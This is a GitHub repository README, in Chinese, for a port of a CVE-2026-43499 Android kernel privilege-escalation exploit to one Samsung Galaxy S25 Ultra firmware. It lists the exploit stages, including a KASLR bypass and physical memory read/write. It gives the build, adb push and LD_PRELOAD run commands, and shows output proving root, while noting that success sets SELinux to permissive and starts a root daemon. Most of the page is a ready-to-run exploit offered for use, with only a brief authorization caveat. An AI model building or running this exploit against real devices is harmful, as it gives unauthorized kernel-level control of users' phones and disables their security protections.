BuSung-dev/CVE-2026-43499-S25U
GitHub: BuSung-dev/CVE-2026-43499-S25U
针对三星 Galaxy S25 Ultra 特定固件的 CVE-2026-43499 内核提权漏洞利用移植,提供设备专属的偏移量、KASLR 绕过及 root 命令辅助程序。
Stars: 24 | Forks: 3
# CVE-2026-43499 - Galaxy S25 Ultra
本仓库包含针对韩国版 Samsung Galaxy S25 Ultra 的
CVE-2026-43499 漏洞利用的特定设备移植版本。
## 受支持的目标
```
Device: Samsung Galaxy S25 Ultra (SM-S938N)
Codename: pa3q
Android: 16 / SDK 36
Build number: S938NKSUACZF1
Build display ID: BP4A.251205.006.S938NKSUACZF1
Build fingerprint: samsung/pa3qksx/pa3q:16/BP4A.251205.006/S938NKSUACZF1_OKRACZF1:user/release-keys
Kernel: 6.6.98-android15-8-pd6ff1cd-abogkiS938NKSUACZF1-4k
Architecture: aarch64
```
本仓库中的偏移量和结构布局专用于
上述固件。此目标配置文件不支持其他型号和固件版本。
## 参考源码
此移植版本基于以下发布的漏洞利用实现:
- [NebuSec/CyberMeowfia — IonStack/CVE-2026-43499/exploit](https://github.com/NebuSec/CyberMeowfia/tree/b850d3bddc74c3328d5fbcc0568d21962b55d949/IonStack/CVE-2026-43499/exploit)
- 用作移植基础的上游修订版本:`b850d3bddc74c3328d5fbcc0568d21962b55d949`
上游的 Apache License 2.0 保留在 [LICENSE](LICENSE) 中。
## 主要移植变更
- 添加了 `pa3q-S938NKSUACZF1` 目标偏移量和 kernel 结构布局。
- 添加了针对 Samsung kernel 的基于 tracefs 的 KASLR slide 自动恢复。
- 移植了 pselect 竞争、伪造的 PI waiter/task 布局、CFI/FOPS 阶段以及物理读写原语。
- 添加了 KDP 安全的 `system_unbound_wq` user-mode-helper root 路径。
- 添加了位于
`/data/local/tmp/cve-2026-43499-root` 的基于 socket 的 root 命令辅助程序。
## 构建
将 `ANDROID_NDK_HOME` 设置为 Android NDK r29 或兼容的工具链,然后运行:
```
make -j8 PROJECT=pa3q-S938NKSUACZF1
```
输出:
```
build/pa3q-S938NKSUACZF1/bin/preload.so
build/embed/su_daemon_aarch64_pie
```
## 部署
```
adb push build/pa3q-S938NKSUACZF1/bin/preload.so /data/local/tmp/cve-2026-43499
adb push build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
```
## 运行
```
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 /system/bin/true"
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
```
在 `S938NKSUACZF1` 上验证的结果:
```
root umh result wake=1 complete=1 retval=0 socket=1
pipe-physrw-summary done=1 root=1
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
```
初始的 pselect 阶段是基于竞争的。如果在到达物理读写阶段之前运行以 `root=0` 退出,可以重试。成功执行会将 SELinux 切换为 permissive 模式,并启动 root 辅助程序直到下次重启。
请仅在你拥有或获得明确授权进行测试的设备上使用。
标签:Android, DSL, UML, Web报告查看器, 云资产清单, 内核提权, 安全渗透, 客户端加密, 目录枚举, 移动安全, 逆向工程